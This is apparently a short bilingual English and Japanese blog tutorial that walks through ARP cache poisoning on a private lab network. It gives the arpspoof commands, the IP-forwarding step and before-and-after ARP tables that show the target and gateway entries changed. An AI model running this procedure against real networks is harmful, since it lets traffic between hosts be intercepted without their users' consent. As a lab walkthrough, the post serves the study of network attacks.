Shinobi Style

Footprint To Marvelous Hacker

ARP cache poisoning

Result

Reminding an old fashioned methodology is important.
温故知新

Procedure

  1. Check ARP table on target machine.
    ターゲット端末でAPRテーブルを確認する。

     PS C:\> arp -a
     Interface: 192.168.6.10 --- 0x3
       Internet Address      Physical Address      Type
       192.168.6.1           00-0c-29-5e-XX-XX     dynamic
    
  2. Check ARP table on gateway machine.
    gateway端末でAPRテーブルを確認する。

      $ arp -a
      ? (192.168.6.10) at 00:0c:29:b5:XX:XX [ether] on ens37
    
  3. Enable IP forwarding on attacker machine.
    攻撃者端末でIPフォワーディングを有効にする。

      $ echo 1 > /proc/sys/net/ipv4/ip_forward
    
  4. Run arpspoof command on attacker machine.
    攻撃端末でarpspoofコマンドを実行する。

     $ man arpspoof
     SYNOPSIS
            arpspoof [-i interface] [-c own|host|both] [-t target] [-r] host
    
     OPTIONS
            -i interface
                   Specify the interface to use.
    
            -t target
                   Specify a particular host to ARP poison (if not  specified,  all
                   hosts on the LAN). Repeat to specify multiple hosts.
    
            -r     Poison  both  hosts (host and target) to capture traffic in both
                   directions.  (only valid in conjuntion with -t)
    
            host   Specify the host you wish to intercept packets for (usually  the
                   local gateway).
    

    In this case, target machine is 192.168.6.10, gateway is 192.168.6.1. So the command is below.
    今回はターゲット端末が192.168.6.10、ゲートウェイが192.168.6.1なので、コマンドは下記の通りになる。

     $ arpspoof -i eth0 -t 192.168.6.10 192.168.6.1
     $ arpspoof -i eth0 -t 192.168.6.1 192.168.6.10
    
  5. Recheck ARP table on target and gateway machine.
    ターゲットとゲートウェイ端末でAPRテーブルを再確認する。

      > arp -a
      Interface: 192.168.6.10 --- 0x6
        Internet Address      Physical Address      Type
        192.168.6.1           00-0c-29-9a-XX-XX     dynamic
    
      $ arp -a
      ? (192.168.6.10) at 00:0c:29:9a:XX:XX [ether] on ens37
    

We can see APR table is changed.
ARPテーブルが書き換わっているのが分かる。

All work is done.